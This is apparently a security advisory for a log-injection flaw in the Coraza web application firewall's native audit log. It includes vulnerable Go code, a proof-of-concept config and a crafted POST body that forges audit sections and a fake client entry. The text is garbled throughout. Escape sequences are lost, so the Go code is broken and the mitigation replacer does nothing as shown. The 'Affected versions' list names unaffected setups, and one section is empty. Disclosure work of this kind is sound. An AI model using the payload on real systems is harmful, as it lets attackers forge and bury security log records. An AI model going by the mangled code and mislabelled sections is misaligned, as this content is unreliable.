CVE-2026-41504

Root Cause

// Part B — request headers (lines 72–80)
for k, vv := range al.Transaction().Request().Headers() {
  for , v := range vv {
    res.WriteByte('
')
    res.WriteString(k)
    res.WriteString(": ")
    res.WriteString(v)  // ← raw
  }
}

// Part C — request body (lines 85–86)
if body := al.Transaction().Request().Body(); body != "" {
  res.WriteString(body)  // ← raw
  res.WriteByte('
')
}

// Part E — response body (lines 93–94)   raw
// Part F — response headers (lines 111–118) raw
// Part H — error messages (line 125)    raw
// Part K — matched-rule raw data (line 151) raw

Impact

• Forging entries to shift attribution. An injected line such as [client "9.9.9.9"] Coraza: Warning. ... sits alongside genuine matches in Part H, and a human operator (or simple SIEM rule) reading the log cannot tell them apart.
• Confusing SIEM correlation. Any ingestion pipeline that splits on --...-[A-Z]-- boundaries or on [client "..."] patterns without validating the session prefix will treat the forged lines as separate records.
• Breaking log-parsing tooling. Grep/awk pipelines, log tailers, and log-rotation tools with line-based assumptions can be poisoned with crafted binary sequences.
• Hiding genuine incidents. An attacker who can also trigger a rule match on the same transaction (trivial — send any request that matches any audit-logged rule) can bury the real match under noise they control.

Proof of Concept

SecRuleEngine On
SecAuditEngine On
SecAuditLogParts ABCFHZ
SecAuditLogType Serial
SecAuditLog /tmp/audit.log
SecAuditLogFormat Native
SecRequestBodyAccess On
SecRule REQUEST METHOD "@rx ." 
  "id:1001,phase:1,pass,log,auditlog,msg:'trigger'"

Body vector — reachable via stock coraza/v3/http + net/http

POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded

evil=benignr
--coraza-forged-X--r
ForgedLine: yesr
--coraza-forged-H--r
[client "9.9.9.9"] FAKE ATTACK ENTRY

--heLNtylvjY-C--
evil=benign
--coraza-forged-X--
ForgedLine: yes
--coraza-forged-H--
[client "9.9.9.9"] FAKE ATTACK ENTRY

--heLNtylvjY-F--

Header vector — reachable via non-net/http integrations only

• coraza-spoa (HAProxy SPOP agent) forwards headers from HAProxy, which has more permissive validation.
• coraza-proxy-wasm / Envoy WASM hosts forward header values from the upstream proxy.
• Custom FFI/WASM hosts and any embedder calling tx.AddRequestHeader(k, v) with unvalidated bytes.

Mitigation

var logEscaper = strings.NewReplacer("r", "r", "
", "
")

// Part B — header values:
res.WriteString(logEscaper.Replace(v))

// Part F — header values: same
// Part H — error messages:
res.WriteString(logEscaper.Replace(alWithErrMsg.ErrorMessage()))
// Part K — matched-rule raw data:
res.WriteString(logEscaper.Replace(alEntry.Data().Raw()))

• Escape inline (logEscaper.Replace(body)): keeps the log human-readable for text bodies but loses fidelity for binary.
• Base64 / hex-encode the whole part: binary-safe, matches the spirit of ModSecurity v2's binary-log handling, but less human-readable.

Additional defensive measure

Affected versions

• Deployments using SecAuditLogFormat JSON (formats json.go uses json.Marshal which escapes r ).
• Deployments using OCSF output.
• Deployments with SecAuditEngine Off.

References

• internal/auditlog/formats.go lines 42, 72–80 (Part B), 85–88 (Part C), 93–96 (Part E), 111–118 (Part F), 125 (Part H), 151 (Part K)
• coraza.conf-recommended — default SecAuditLogFormat Native, SecAuditLogParts ABIJDEFHZ / ABCFHZ variants
• CWE-117 — Improper Output Neutralization for Logs
• CWE-93 — CRLF Injection